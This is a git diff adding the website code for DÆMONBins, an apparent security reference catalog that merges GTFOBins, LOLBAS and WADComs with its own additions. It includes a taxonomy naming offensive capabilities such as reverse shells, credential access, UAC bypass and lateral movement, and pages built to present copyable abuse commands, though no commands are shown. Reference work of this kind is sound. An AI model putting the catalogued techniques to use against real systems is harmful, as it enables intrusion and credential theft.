+ description = 'One filterable catalog merging GTFOBins, LOLBAS and WADComs — plus DÆMON modern additions. Living-off-the-land and offensive techniques by platform, capability and source.',
+} = Astro.props;
+const canonical = new URL(Astro.url.pathname, Astro.site).href;
+---
+<!doctype html>
+<html lang="en" data-theme="light">
+ <head>
+ <meta charset="utf-8" />
+ <meta name="viewport" content="width=device-width, initial-scale=1" />
+ <title>{title}</title>
+ <meta name="description" content={description} />
+ <link rel="canonical" href={canonical} />
+ <link rel="icon" href={url('favicon.svg')} type="image/svg+xml" />
+ <link rel="preload" href={notoWordmark} as="font" type="font/woff2" crossorigin />
+ <link rel="preload" href={dmMono} as="font" type="font/woff2" crossorigin />
+ <meta name="theme-color" content="#191724" media="(prefers-color-scheme: dark)" />
+ <meta name="theme-color" content="#faf4ed" media="(prefers-color-scheme: light)" />
+ <meta property="og:type" content="website" />
+ <meta property="og:title" content={title} />
+ <meta property="og:description" content={description} />
+ <meta property="og:image" content={url('og.svg')} />
+ <meta name="twitter:card" content="summary_large_image" />
+ <!-- Set theme before first paint to avoid FOUC -->
+ <script is:inline>
+ (function () {
+ function apply() {
+ try {
+ var t = localStorage.getItem('theme');
+ // Dawn (cream) is the default, matching the main DÆMON site.
+ if (t !== 'light' && t !== 'dark') t = 'light';
+ document.documentElement.setAttribute('data-theme', t);
+ document.documentElement.style.colorScheme = t;
+ } catch (e) {
+ document.documentElement.setAttribute('data-theme', 'light');
+ }
+ }
+
+ apply();
+
+ /* Every page ships `<html data-theme="light">` in its static markup,
+ because that is the default and the build has no way to know what
+ any given reader chose. On a view-transition navigation Astro
+ swaps in the new document — attributes on <html> included — so
+ that baked-in "light" overwrites the live attribute and the page
+ reverts to dawn mid-session.
+
+ This listener re-applies the stored choice on every swap. It runs
+ in `astro:after-swap`, which fires after the new document is in
+ place but before it is painted, so the correction never flashes.
+
+ The listener is registered once, from an inline head script that
+ executes on the first full load only — which is exactly why it
+ has to be `is:inline` and live here rather than in app.ts: a
+ bundled module re-imported per page would re-register it, and a
+ deferred one would run too late to beat the paint. */
+ document.addEventListener('astro:after-swap', apply);
+ })();
+ </script>
+ <ClientRouter />
+ </head>
+ <body>
+ <!-- The film over the whole page. It is what keeps a flat colour
+ reading as stock rather than as a swatch, and it stands in for the
+ texture the old glass build got from blur. -->
+ <span class="grain" aria-hidden="true"></span>
+ <Header />
+ <main id="main">
+ <slot />
+ </main>
+ <Footer />
+ <SearchModal />
+ <script>
+ import '../scripts/app.ts';
+ </script>
+ </body>
+</html>
diff --git a/src/lib/highlight.ts b/src/lib/highlight.ts
@@ -0,0 +1,41 @@
+// Language-agnostic operator's-eye command highlighter, ported from
+// daemon-sec's terminal-highlight. Emits an HTML string (escaped) so it can be
+// used both server-side (Astro `set:html`) and in the client island — one
+// implementation, no drift.
+
+export const escapeHtml = (s: string) =>
+ String(s)
+ .replace(/&/g, '&')
+ .replace(/</g, '<')
+ .replace(/>/g, '>')
+ .replace(/"/g, '"');
+
+const TOKENISER = /'[^']*'|"[^"]*"|\S+|\s+/g;
+
+export function highlightCommand(source: string): string {
+ return String(source)
+ .split('\n')
+ .map((line) => {
+ if (/^\s*#/.test(line)) return `<span class="tk-muted">${escapeHtml(line)}</span>`;
+ let firstWord = true;
+ let out = '';
+ const toks = line.match(TOKENISER) || [];
+ for (const tok of toks) {
+ if (/^\s+$/.test(tok)) { out += escapeHtml(tok); continue; }
+ let cls = 'tk-base';
+ if (tok.startsWith('#')) cls = 'tk-muted';
+ else if (/REDACTED|PLACEHOLDER/.test(tok)) cls = 'tk-warn';
+ else if (/^(SQL>|PS>|>|\$|#)$/.test(tok)) cls = 'tk-kw';
+ else if (tok.startsWith('-')) cls = 'tk-flag';
+ else if (tok.startsWith("'") || tok.startsWith('"')) cls = 'tk-str';
+ else if (/^[\d.]+$/.test(tok) || /^\d{1,3}(\.\d{1,3}){3}/.test(tok)) cls = 'tk-num';
+ else if (/^(\||&&|>|>>|\\|;|\|\|)$/.test(tok)) cls = 'tk-op';
+ else if (/^[a-z]+:\/\//i.test(tok)) cls = 'tk-num';
+ else if (firstWord) cls = 'tk-cmd';
+ out += `<span class="${cls}">${escapeHtml(tok)}</span>`;
+ if (!/^\s+$/.test(tok)) firstWord = false;
+ }
+ return out;
+ })
+ .join('\n');
+}
diff --git a/src/lib/taxonomy.ts b/src/lib/taxonomy.ts
@@ -0,0 +1,109 @@
+// Single source of truth for DÆMONBins facet vocabulary + the hue each facet
+// wears. Accents are the site's theme-aware Rosé Pine semantic tokens
+// (--love/--iris/--pine/--foam/--gold/--rose), so a chip reads the same role
+// in Dawn and Night. Mirrors the cheatsheet's src/lib/taxonomy.ts pattern.
+
+export type Accent = 'love' | 'iris' | 'pine' | 'foam' | 'gold' | 'rose';
+export type Platform = 'Linux' | 'Windows' | 'macOS' | 'ActiveDirectory';
+export type SourceId = 'GTFOBins' | 'LOLBAS' | 'WADComs' | 'DAEMON';
+
+export const PLATFORMS: Platform[] = ['Linux', 'Windows', 'macOS', 'ActiveDirectory'];
+export const SOURCES: SourceId[] = ['GTFOBins', 'LOLBAS', 'WADComs', 'DAEMON'];
+
+export const CAPABILITIES = [
+ 'Execution', 'Reverse/Bind Shell',
+ 'File Download', 'File Upload', 'File Read', 'File Write', 'File Copy',
+ 'Library Load', 'Compile',
+ 'Privilege Escalation', 'UAC Bypass', 'AWL / Policy Bypass',
+ 'Defense Evasion', 'Credential Access',
+ 'Discovery', 'Persistence', 'Lateral Movement', 'Collection',
+] as const;
+export type Capability = (typeof CAPABILITIES)[number];
+
+export interface SourceDef {
+ id: SourceId;
+ label: string;
+ tag: string;
+ accent: Accent;
+ blurb: string;
+ homepage: string;
+ repo: string;
+ author: string;
+ license: string;
+}
+
+export const SOURCE_META: Record<SourceId, SourceDef> = {
+ GTFOBins: {
+ id: 'GTFOBins', label: 'GTFOBins', tag: 'GTFO', accent: 'foam',
+ blurb: 'Unix binaries abused to break out of restricted shells, read/write files, and escalate via SUID, sudo, and capabilities.',
+ homepage: 'https://gtfobins.github.io/', repo: 'https://github.com/GTFOBins/GTFOBins.github.io',
+ author: 'Emilio Pinna (@norbemi) & contributors', license: 'GPL-3.0',
+ },
+ LOLBAS: {
+ id: 'LOLBAS', label: 'LOLBAS', tag: 'LOL', accent: 'iris',
+ blurb: 'Windows living-off-the-land binaries, scripts, and libraries — signed and built-in tools for execution, download, and AWL bypass.',
+ homepage: 'https://lolbas-project.github.io/', repo: 'https://github.com/LOLBAS-Project/LOLBAS',
+ author: 'Oddvar Moe (@oddvarmoe) & contributors', license: 'GPL-3.0',
+ },
+ WADComs: {
+ id: 'WADComs', label: 'WADComs', tag: 'WAD', accent: 'gold',
+ blurb: 'Offensive tools and commands for Windows and Active Directory, indexed by what access you already hold.',
+ homepage: 'https://wadcoms.github.io/', repo: 'https://github.com/WADComs/WADComs.github.io',
+ author: 'John Woodman (@JohnWoodman15) & contributors', license: 'GPL-3.0',
+ },
+ DAEMON: {
+ id: 'DAEMON', label: 'DÆMON', tag: 'DMN', accent: 'love',
+ blurb: 'Authored here — modern 2024–2026 tradecraft the three upstreams lack, plus 134 fact-checked Windows/AD additions. Every entry carries a canonical reference.',
+ homepage: 'https://daemon-sec.xyz', repo: 'https://github.com/DAEMON-404/daemon-sec-lotl',
+ author: 'DÆMON (DAEMON-404)', license: 'GPL-3.0',
+ },
+};
+
+export const PLATFORM_META: Record<Platform, { accent: Accent; short: string }> = {
+ Linux: { accent: 'foam', short: 'NIX' },
+ Windows: { accent: 'iris', short: 'WIN' },
+ macOS: { accent: 'rose', short: 'MAC' },
+ ActiveDirectory: { accent: 'gold', short: 'AD' },
+};
+
+export const CAPABILITY_META: Record<string, { accent: Accent }> = {
+ Execution: { accent: 'love' },
+ 'Reverse/Bind Shell': { accent: 'love' },
+ 'File Download': { accent: 'foam' },
+ 'File Upload': { accent: 'foam' },
+ 'File Read': { accent: 'foam' },
+ 'File Write': { accent: 'foam' },
+ 'File Copy': { accent: 'foam' },
+ 'Library Load': { accent: 'foam' },
+ Compile: { accent: 'foam' },
+ 'Privilege Escalation': { accent: 'gold' },
+ 'UAC Bypass': { accent: 'gold' },
+ 'AWL / Policy Bypass': { accent: 'iris' },
+ 'Defense Evasion': { accent: 'iris' },
+ 'Credential Access': { accent: 'rose' },
+ Discovery: { accent: 'pine' },
+ Persistence: { accent: 'pine' },
+ 'Lateral Movement': { accent: 'pine' },
+ Collection: { accent: 'pine' },
+};
+
+export function accentOf(kind: 'platform' | 'capability' | 'source', value: string): Accent {
+ if (kind === 'platform') return PLATFORM_META[value as Platform]?.accent ?? 'foam';
+ if (kind === 'capability') return CAPABILITY_META[value]?.accent ?? 'foam';
+ return SOURCE_META[value as SourceId]?.accent ?? 'foam';
+}
+
+/** Slug a source id for the /<source>/<tool> route prefix. */
+export const SOURCE_ROUTE: Record<SourceId, string> = {
+ GTFOBins: 'gtfobins', LOLBAS: 'lolbas', WADComs: 'wadcoms', DAEMON: 'daemon',
+};
+
+// A tool's route deck is decided by its toolId NAMESPACE (the prefix before
+// ':'), never by a per-technique source — a wadcoms: family can hold both
+// upstream and daemon-authored techniques, and all of them must resolve to the
+// same page. The 134 daemon-authored WADComs additions live in the wadcoms:
+// namespace (they extend that collection); the daemon: namespace is the
+// standalone modernization backlog.
+export const NS_SOURCE: Record<string, SourceId> = {
+ gtfo: 'GTFOBins', lolbas: 'LOLBAS', wadcoms: 'WADComs', daemon: 'DAEMON',
+};
diff --git a/src/lib/techniques.ts b/src/lib/techniques.ts
@@ -0,0 +1,141 @@
+// Shared Technique model + pure filter/serialize logic. Imported by the Astro
+// pages at build time and by the client-side catalog island — the functions
+// have no framework or DOM dependency, so they run in both.
+
+import { SOURCE_ROUTE, NS_SOURCE } from './taxonomy';
+import type { Capability, Platform, SourceId } from './taxonomy';
+
+// Route helpers — a tool lives at /<deckRoute>/<toolSlug>. Both the deck and
+// the slug come from the colon-namespaced toolId ("gtfo:vim" -> gtfobins/vim,
+// "wadcoms:Certipy" -> wadcoms/certipy), never from a per-technique source, so
+// a mixed upstream+daemon family always resolves to one page. Lowercased so the
+// path is case-stable on GitHub Pages.
+export function toolSlug(toolId: string): string {
+ return toolId.split(':').slice(1).join('-').toLowerCase().replace(/[^a-z0-9]+/g, '-').replace(/^-+|-+$/g, '');
+}
+export function toolNamespace(toolId: string): string {
+ return toolId.split(':')[0];
+}
+export function routeSourceOf(toolId: string): SourceId {
+ return NS_SOURCE[toolNamespace(toolId)] ?? 'DAEMON';
+}
+export function toolRoute(toolId: string): string {
+ return `${SOURCE_ROUTE[routeSourceOf(toolId)]}/${toolSlug(toolId)}`;
+}
+
+export interface Detection { type: string; value: string }
+
+export interface Technique {
+ id: string;
+ toolId: string;
+ toolName: string;
+ name?: string;
+ source: SourceId;
+ platform: Platform[];
+ capability: Capability[];
+ nativeCategory: string[];
+ command: string;
+ description?: string;
+ usecase?: string;
+ mitre: string[];
+ privilege?: string;
+ context?: string;
+ requires?: string[];
+ services?: string[];
+ fullPath?: string[];
+ toolType?: string;
+ detection?: Detection[];
+ references: string[];
+ added?: boolean;
+ verifyNote?: string;
+}
+
+export interface Tool {
+ id: string;
+ name: string;
+ source: SourceId;
+ platform: Platform[];
+ toolType?: string;
+ aliases?: string[];
+ fullPath?: string[];
+ author?: string;
+ created?: string;
+ contributors?: string[];
+ references: string[];
+ count: number;
+}
+
+export interface CatalogFilters {
+ platform: string[];
+ capability: string[];
+ source: string[];
+ query: string;
+ addedOnly: boolean;
+}
+
+export const EMPTY_FILTERS: CatalogFilters = {
+ platform: [], capability: [], source: [], query: '', addedOnly: false,
+};
+
+// OR within a facet (any ticked value present on the technique), AND across
+// facets — the conventional faceted-search behaviour.
+const inFacet = (values: string[], selected: string[]) =>
+ selected.length === 0 || selected.some((s) => values.includes(s));
+
+function matchesQuery(t: Technique, q: string): boolean {
+ if (!q) return true;
+ const needle = q.toLowerCase();
+ const hay = [t.toolName, t.name, t.command, t.description, t.usecase, ...(t.nativeCategory || []), ...(t.mitre || [])]
+ .filter(Boolean)
+ .join(' ')
+ .toLowerCase();
+ return hay.includes(needle);
+}
+
+export function matches(t: Technique, f: CatalogFilters): boolean {
+ if (f.addedOnly && !t.added) return false;
+ if (!inFacet(t.platform, f.platform)) return false;
+ if (!inFacet(t.capability, f.capability)) return false;
+ if (!inFacet([t.source], f.source)) return false;
+ if (!matchesQuery(t, f.query)) return false;
+ return true;
+}
+
+export function filterTechniques(techniques: Technique[], f: CatalogFilters): Technique[] {
+ return techniques.filter((t) => matches(t, f));
+}
+
+export function countActive(f: CatalogFilters): number {
+ return f.platform.length + f.capability.length + f.source.length;
+}
+
+export function isEmpty(f: CatalogFilters): boolean {
+ return countActive(f) === 0 && !f.query && !f.addedOnly;
+}
+
+// URL <-> filters. Comma-joined multi-values so a narrowed view is shareable.
+const PARAM_KEYS = { platform: 'p', capability: 'c', source: 's' } as const;
+
+export function filtersToSearch(f: CatalogFilters): string {
+ const params = new URLSearchParams();
+ for (const [key, param] of Object.entries(PARAM_KEYS) as [keyof typeof PARAM_KEYS, string][]) {
+ const vals = f[key];
+ if (vals.length) params.set(param, vals.join(','));
+ }
+ if (f.addedOnly) params.set('new', '1');
+ const q = f.query.trim();
+ if (q) params.set('q', q);
+ return params.toString();
+}
+
+export function filtersFromSearch(search: string): CatalogFilters {
+ const params = new URLSearchParams(search.startsWith('?') ? search.slice(1) : search);
+ const list = (k: string) => (params.get(k) || '').split(',').map((s) => s.trim()).filter(Boolean);
+ return {
+ platform: list(PARAM_KEYS.platform),
+ capability: list(PARAM_KEYS.capability),
+ source: list(PARAM_KEYS.source),
+ query: params.get('q') || '',
+ addedOnly: params.get('new') === '1',
+ };
+}
diff --git a/src/lib/url.ts b/src/lib/url.ts
@@ -0,0 +1,9 @@
+// Base-aware URL helper. On the project page the site is served under
+// /daemon-sec/, so every internal link must carry that prefix.
+const BASE = import.meta.env.BASE_URL; // e.g. "/daemon-sec/"
+
+export function url(path = ''): string {
+ const base = BASE.replace(/\/$/, '');
+ const p = String(path).replace(/^\//, '');
+ return p ? `${base}/${p}` : `${base}/`;
+}
diff --git a/src/pages/404.astro b/src/pages/404.astro
@@ -0,0 +1,35 @@
+---
+import Base from '../layouts/Base.astro';
+import SectionBanner from '../components/SectionBanner.astro';
+import Icon from '../components/Icon.astro';
+import { url } from '../lib/url';
+---
+<Base title="404 — signal lost" description="This path resolves to nothing.">
+ <SectionBanner
+ n="00"
+ label="stderr"
+ title="404 — signal lost"
+ blurb="That route resolves to nothing. The binary may not be catalogued, or the path was never in scope."
+ accent="love"
+ stats={[{ label: 'Status', value: '404', accent: true }, { label: 'Scope', value: 'unknown' }]}
+ />
+
+ <div class="wrap">
+ <div class="whoami corners" style="margin-top:2rem;">
+ <div class="whoami__cmd">
+ <span class="u">daemon@sec</span><span>~</span><span>%</span>
+ <span class="c">curl -sI $PATH</span>
+ <span class="whoami__caret" aria-hidden="true"></span>
+ </div>
+ <dl class="whoami__rows">
+ <dt>status</dt><dd style="color: var(--love);">HTTP/1.1 404 Not Found</dd>
+ <dt>hint</dt><dd>the catalog index is one level up</dd>
+ </dl>
+ </div>
+
+ <div class="hero__actions" style="margin: 2rem 0 3.5rem;">
+ <a class="btn" href={url('catalog')}><Icon name="terminal" /> Open the catalog</a>
+ <button class="btn btn--ghost" data-search-open type="button"><Icon name="search" /> Search instead</button>
+ </div>
+ </div>
+</Base>
diff --git a/src/pages/[source]/[tool].astro b/src/pages/[source]/[tool].astro
@@ -0,0 +1,156 @@
+---
+import Base from '../../layouts/Base.astro';
+import SlantTitle from '../../components/SlantTitle.astro';
+import allTechniques from '../../data/techniques.json';
+import allTools from '../../data/tools.json';
+import { toolSlug, routeSourceOf } from '../../lib/techniques';
+import type { Technique, Tool } from '../../lib/techniques';
+import { SOURCE_ROUTE, SOURCE_META, PLATFORM_META, CAPABILITY_META } from '../../lib/taxonomy';
+import { highlightCommand } from '../../lib/highlight';
+import '../../styles/catalog.css';
+
+export async function getStaticPaths() {
+ const tools = allTools as unknown as Tool[];
+ const techs = allTechniques as unknown as Technique[];
+ const byTool = new Map<string, Technique[]>();
+ for (const t of techs) {
+ if (!byTool.has(t.toolId)) byTool.set(t.toolId, []);
+ byTool.get(t.toolId)!.push(t);
+ }
+ const seen = new Set<string>();
+ const paths = [];
+ for (const tool of tools) {
+ const deck = SOURCE_ROUTE[routeSourceOf(tool.id)];
+ const route = `${deck}/${toolSlug(tool.id)}`;
+ if (seen.has(route)) continue; // guard against slug collisions
+ seen.add(route);
+ paths.push({
+ params: { source: deck, tool: toolSlug(tool.id) },
+ props: { tool, techniques: byTool.get(tool.id) || [] },
+ });
+ }
+ return paths;
+}
+
+interface Props { tool: Tool; techniques: Technique[] }
+const { tool, techniques } = Astro.props;
+// Display deck comes from the toolId namespace, so a daemon-authored WADComs
+// addition (wadcoms:Certipy) reads under the WADComs deck; per-technique NEW
+// badges convey which rows are daemon-authored.
+const src = SOURCE_META[routeSourceOf(tool.id)];
+const upstream = tool.references?.find((r) => /gtfobins|lolbas|wadcoms/.test(r)) || src.homepage;
+---
+<Base
+ title={`${tool.name} — ${src.label} — DÆMONBins`}
+ description={`${tool.name}: ${techniques.length} living-off-the-land technique${techniques.length > 1 ? 's' : ''} from ${src.label}. Commands, MITRE ATT&CK mapping, detection and references.`}
+>
+ <div class="wrap tool" style="padding-top:1.5rem;" data-pagefind-body>
+ <span class="sr-only" data-pagefind-meta={`source:${src.label}`}></span>
+ <p class="tool__crumb">
+ <a href={`${import.meta.env.BASE_URL}catalog`}>Catalog</a>
+ <span aria-hidden="true">/</span>
+ <a href={`${import.meta.env.BASE_URL}${SOURCE_ROUTE[routeSourceOf(tool.id)]}`}>{src.label}</a>
+ </p>
+
+ <SlantTitle eyebrow={`${src.tag} · ${tool.toolType || 'Tool'}`} title={tool.name} tone={src.accent}>
+ <Fragment slot="meta">
+ <span>{techniques.length} technique{techniques.length > 1 ? 's' : ''}</span>
+ {tool.platform?.length ? <span>{tool.platform.join(' · ')}</span> : null}
+ <span>{src.label}</span>
+ <span>GPL-3.0</span>
+ </Fragment>
+ </SlantTitle>
+
+ <div class="tool__body">
+ {(tool.aliases?.length || tool.fullPath?.length || tool.author || tool.contributors?.length) ? (
+ <aside class="tool__facts slab corners">
+ <p class="micro tool__facts-label">// {src.tag} · {tool.name}</p>
+ <dl>
+ {tool.aliases?.length ? (<><dt>Aliases</dt><dd>{tool.aliases.join(', ')}</dd></>) : null}
+ {tool.fullPath?.length ? (<><dt>Full path</dt><dd class="mono">{tool.fullPath.map((p) => <div>{p}</div>)}</dd></>) : null}
+ {tool.author ? (<><dt>Author</dt><dd>{tool.author}</dd></>) : null}
+ {tool.created ? (<><dt>Created</dt><dd>{tool.created}</dd></>) : null}
+ {tool.contributors?.length ? (<><dt>Credits</dt><dd>{tool.contributors.join(', ')}</dd></>) : null}
+ <dt>Upstream</dt>
+ <dd><a href={upstream} target="_blank" rel="noopener">{upstream.replace(/^https?:\/\//, '')}</a></dd>
+ </dl>
+ </aside>
+ ) : null}
+
+ <div class="tool__techs">
+ {techniques.map((t) => (
+ <article class="tech">
+ <header class="tech__head">
+ <div class="tech__title">
+ {t.name && t.name !== t.toolName ? <span class="tech__name">{t.name}</span> : <span class="tech__name">{t.capability[0]}</span>}
+ {t.added ? <span class="tbadge tbadge--new" style="--acc: var(--love);">NEW</span> : null}
+ </div>
+ <div class="tech__badges">
+ {t.capability.map((c) => (
+ <span class="tbadge" style={`--acc: var(--${CAPABILITY_META[c]?.accent || 'foam'});`}>{c}</span>
+ ))}
+ {t.platform.map((p) => (
+ <span class="tbadge tbadge--soft" style={`--acc: var(--${PLATFORM_META[p]?.accent || 'foam'});`}>{p}</span>
+ ))}
+ </div>
+ </header>
+
+ {t.description ? <p class="tech__desc">{t.description}</p> : null}
+ {t.usecase ? <p class="tech__use"><span>Use</span> {t.usecase}</p> : null}
+
+ <div class="tech__cmdbar" data-cmdbar>
+ <pre class="cmd"><code set:html={highlightCommand(t.command)} /></pre>
+ <button class="trow__copy" type="button" data-copy aria-label="Copy command">copy</button>
+ </div>
+
+ <dl class="tech__meta">
+ {t.privilege ? (<div><dt>Context</dt><dd>{t.privilege}</dd></div>) : null}
+ {t.nativeCategory?.length ? (<div><dt>Native</dt><dd>{t.nativeCategory.join(', ')}</dd></div>) : null}
+ {t.mitre?.length ? (<div><dt>MITRE</dt><dd>{t.mitre.map((m) => <a class="tchip-link" href={`https://attack.mitre.org/techniques/${m.replace('.', '/')}/`} target="_blank" rel="noopener">{m}</a>)}</dd></div>) : null}
+ {t.requires?.length ? (<div><dt>Requires</dt><dd>{t.requires.join(', ')}</dd></div>) : null}
+ {t.services?.length ? (<div><dt>Services</dt><dd>{t.services.join(', ')}</dd></div>) : null}
+ {t.detection?.length ? (<div><dt>Detection</dt><dd>{t.detection.map((d) => <div>{d.type}: {/^https?:/.test(d.value) ? <a href={d.value} target="_blank" rel="noopener">{d.value.replace(/^https?:\/\//, '')}</a> : d.value}</div>)}</dd></div>) : null}
+ {t.verifyNote ? (<div><dt>Verified</dt><dd class="tech__note">✓ {t.verifyNote}</dd></div>) : null}
+ {t.references?.length ? (<div><dt>Refs</dt><dd>{t.references.map((r) => <div><a href={r} target="_blank" rel="noopener">{r.replace(/^https?:\/\//, '')}</a></div>)}</dd></div>) : null}
+ </dl>
+ </article>
+ ))}
+ </div>
+ </div>
+ </div>
+
+ <script>import '../../scripts/copy.ts';</script>
+</Base>
+
+<style>
+ .tool__crumb { font-family: var(--font-mono); font-size: 11px; letter-spacing: 0.1em; text-transform: uppercase; color: var(--fg-faint); margin: 0 0 0.5rem; }
+ .tool__crumb a { color: var(--fg-dim); text-decoration: none; }
+ .tool__crumb a:hover { color: var(--accent); }
+ .tool__body { margin-top: 2.5rem; display: grid; grid-template-columns: 1fr; gap: 1.5rem; }
+ .tool__facts { padding: 1.1rem 1.3rem; }
+ .tool__facts-label { color: var(--fg-faint); margin: 0 0 0.6rem; }
+ .tool__facts dl { display: grid; grid-template-columns: 120px 1fr; gap: 0.35rem 1rem; margin: 0; font-size: 13px; }
+ .tool__facts dt { font-family: var(--font-mono); font-size: 10px; letter-spacing: 0.1em; text-transform: uppercase; color: var(--fg-faint); }
+ .tool__facts dd { margin: 0; color: var(--fg-dim); }
+ .tool__facts dd.mono { font-family: var(--font-mono); font-size: 12px; }
+ .tool__facts a { color: var(--accent); text-decoration: none; }
+ .tool__techs { display: flex; flex-direction: column; gap: 1px; background: var(--rule); border: 1px solid var(--rule); }
+ .tech { background: var(--bg); padding: 1.1rem 1.2rem; }
+ .tech__head { display: flex; flex-wrap: wrap; align-items: center; justify-content: space-between; gap: 0.6rem; margin-bottom: 0.7rem; }
+ .tech__title { display: flex; align-items: center; gap: 0.5rem; }
+ .tech__name { font-family: var(--font-archivo); font-weight: 700; font-size: 16px; letter-spacing: -0.01em; color: var(--fg); }
+ .tech__badges { display: flex; flex-wrap: wrap; gap: 0.3rem; }
+ .tech__desc { margin: 0 0 0.7rem; font-size: 14px; line-height: 1.6; color: var(--fg-dim); max-width: 74ch; white-space: pre-wrap; }
+ .tech__use { margin: 0 0 0.7rem; font-size: 13px; color: var(--fg-dim); }
+ .tech__use span { font-family: var(--font-mono); font-size: 10px; letter-spacing: 0.1em; text-transform: uppercase; color: var(--fg-faint); }
+ .tech__cmdbar { position: relative; display: flex; align-items: stretch; margin: 0 0 0.8rem; }
+ .cmd { flex: 1; min-width: 0; margin: 0; padding: 0.6rem 0.8rem; background: var(--color-night-base, #191724); border: 1px solid color-mix(in srgb, #000 20%, var(--color-night-base, #191724)); overflow-x: auto; font-family: var(--font-mono); font-size: 12.5px; line-height: 1.6; }
+ .cmd code { white-space: pre; color: var(--color-night-text, #e0def4); }
+ .tech__meta { display: grid; gap: 0.35rem 1.5rem; margin: 0; }
+ .tech__meta > div { display: grid; grid-template-columns: 90px 1fr; gap: 0.8rem; font-size: 12.5px; line-height: 1.55; }
+ .tech__meta dt { font-family: var(--font-mono); font-size: 10px; letter-spacing: 0.1em; text-transform: uppercase; color: var(--fg-faint); }
+ .tech__meta dd { margin: 0; color: var(--fg-dim); word-break: break-word; }
+ .tech__meta a { color: var(--accent); text-decoration: none; }
+ .tech__meta a:hover { text-decoration: underline; text-underline-offset: 2px; }
+ .tech__note { color: var(--foam); font-family: var(--font-mono); font-size: 11.5px; }
+</style>
diff --git a/src/pages/[source]/index.astro b/src/pages/[source]/index.astro
@@ -0,0 +1,73 @@
+---
+import Base from '../../layouts/Base.astro';
+import SectionBanner from '../../components/SectionBanner.astro';
+import allTools from '../../data/tools.json';
+import allTechniques from '../../data/techniques.json';
+import { toolSlug, routeSourceOf } from '../../lib/techniques';
+import type { Tool, Technique } from '../../lib/techniques';
+import { SOURCE_ROUTE, SOURCE_META, SOURCES, PLATFORM_META } from '../../lib/taxonomy';
+import type { SourceId } from '../../lib/taxonomy';
+
+export async function getStaticPaths() {
+ const tools = allTools as unknown as Tool[];
+ const techs = allTechniques as unknown as Technique[];
+ return SOURCES.map((sourceId, i) => {
+ // Group by toolId namespace (deck), not per-technique source, so a
+ // daemon-authored WADComs addition lists under the WADComs deck.
+ const srcTools = tools.filter((t) => routeSourceOf(t.id) === sourceId).sort((a, b) => a.name.localeCompare(b.name));
+ const techCount = techs.filter((t) => routeSourceOf(t.toolId) === sourceId).length;
+ return {
+ params: { source: SOURCE_ROUTE[sourceId] },
+ props: { sourceId, tools: srcTools, techCount, n: String(i + 1).padStart(2, '0') },
+ };
+ });
+}
+
+interface Props { sourceId: SourceId; tools: Tool[]; techCount: number; n: string }
+const { sourceId, tools, techCount, n } = Astro.props;
+const src = SOURCE_META[sourceId];
+const stats = [
+ { label: 'Tools', value: tools.length, accent: true },
+ { label: 'Techniques', value: techCount },
+ { label: 'License', value: src.license },
+];
+---
+<Base title={`${src.label} — DÆMONBins`} description={`${src.label}: ${src.blurb}`}>
+ <SectionBanner n={n} label={src.tag} title={src.label} blurb={src.blurb} stats={stats} accent={src.accent} />
+
+ <div class="wrap src" style="padding:2.5rem 0 4rem;">
+ <p class="src__lead">
+ <a href={`${import.meta.env.BASE_URL}catalog`}>← Full catalog</a>
+ <span aria-hidden="true"> · </span>
+ <a href={src.homepage} target="_blank" rel="noopener">{src.homepage.replace(/^https?:\/\//, '')}</a>
+ <span aria-hidden="true"> · </span>
+ <a href={src.repo} target="_blank" rel="noopener">source</a>
+ </p>
+
+ <div class="src__grid">
+ {tools.map((t) => (
+ <a class="src__tool" href={`${import.meta.env.BASE_URL}${SOURCE_ROUTE[sourceId]}/${toolSlug(t.id)}`} style={`--acc: var(--${src.accent});`}>
+ <span class="src__tname">{t.name}</span>
+ <span class="src__tmeta">
+ <span class="src__tcount">{t.count}</span>
+ {t.platform?.map((p) => <span class="src__tplat">{PLATFORM_META[p]?.short || p}</span>)}
+ </span>
+ </a>
+ ))}
+ </div>
+ </div>
+</Base>
+
+<style>
+ .src__lead { font-family: var(--font-mono); font-size: 12px; letter-spacing: 0.04em; color: var(--fg-dim); margin: 0 0 1.5rem; }
+ .src__lead a { color: var(--accent); text-decoration: none; }
+ .src__lead a:hover { text-decoration: underline; text-underline-offset: 3px; }
+ .src__grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(220px, 1fr)); gap: 1px; background: var(--rule); border: 1px solid var(--rule); }
+ .src__tool { display: flex; align-items: center; justify-content: space-between; gap: 0.6rem; padding: 0.7rem 0.9rem; background: var(--bg); text-decoration: none; color: var(--fg); }
+ .src__tool:hover { background: var(--acc); color: var(--base); }
+ .src__tool:hover .src__tcount, .src__tool:hover .src__tplat { color: var(--base); border-color: color-mix(in srgb, var(--base) 40%, transparent); opacity: 0.85; }
+ .src__tname { font-family: var(--font-archivo); font-weight: 600; font-size: 14px; letter-spacing: -0.01em; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
+ .src__tmeta { display: flex; align-items: center; gap: 0.3rem; flex-shrink: 0; }
+ .src__tcount { font-family: var(--font-mono); font-size: 11px; color: var(--fg-dim); }
+ .src__tplat { font-family: var(--font-mono); font-size: 8.5px; letter-spacing: 0.06em; color: var(--fg-faint); border: 1px solid var(--rule); padding: 0.05rem 0.25rem; }
+</style>
diff --git a/src/pages/catalog.astro b/src/pages/catalog.astro
@@ -0,0 +1,50 @@
+---
+import Base from '../layouts/Base.astro';
+import SlantTitle from '../components/SlantTitle.astro';
+import facets from '../data/facets.json';
+import '../styles/catalog.css';
+
+const c = facets.counts;
+---
+<Base
+ title="Catalog — DÆMONBins"
+ description="The Off-the-Land Almanac: every technique from GTFOBins, LOLBAS and WADComs, plus DÆMON's modern additions, as one filterable index by platform, capability and source."
+>
+ <div class="wrap" style="padding-top:1.5rem;">
+ <SlantTitle
+ eyebrow="01 · Catalog"
+ title="Off-the-Land Almanac"
+ tone="love"
+ intro="Every abuse technique from GTFOBins, LOLBAS and WADComs — plus DÆMON's fact-checked modern additions — flattened to one filterable index. Filter by platform, capability and source; every row expands to the command, MITRE mapping, detection, and references."
+ >
+ <Fragment slot="meta">
+ <span>{c.techniques.toLocaleString()} techniques</span>
+ <span>{c.tools.toLocaleString()} tools</span>
+ <span>{c.added} DÆMON</span>
+ <span>GPL-3.0</span>
+ </Fragment>
+ </SlantTitle>
+
+ <div class="cat" data-catalog>
+ <aside class="cat__rail">
+ <div class="cat__searchrow">
+ <input class="cat__search" data-cat-search type="search" placeholder="search commands, tools, MITRE…" aria-label="Search techniques" />
+ </div>
+ <div class="cat__toolbar">
+ <button class="cat__btn" data-cat-new type="button" aria-pressed="false">NEW only</button>
+ <button class="cat__btn" data-cat-clear type="button">Clear</button>
+ </div>
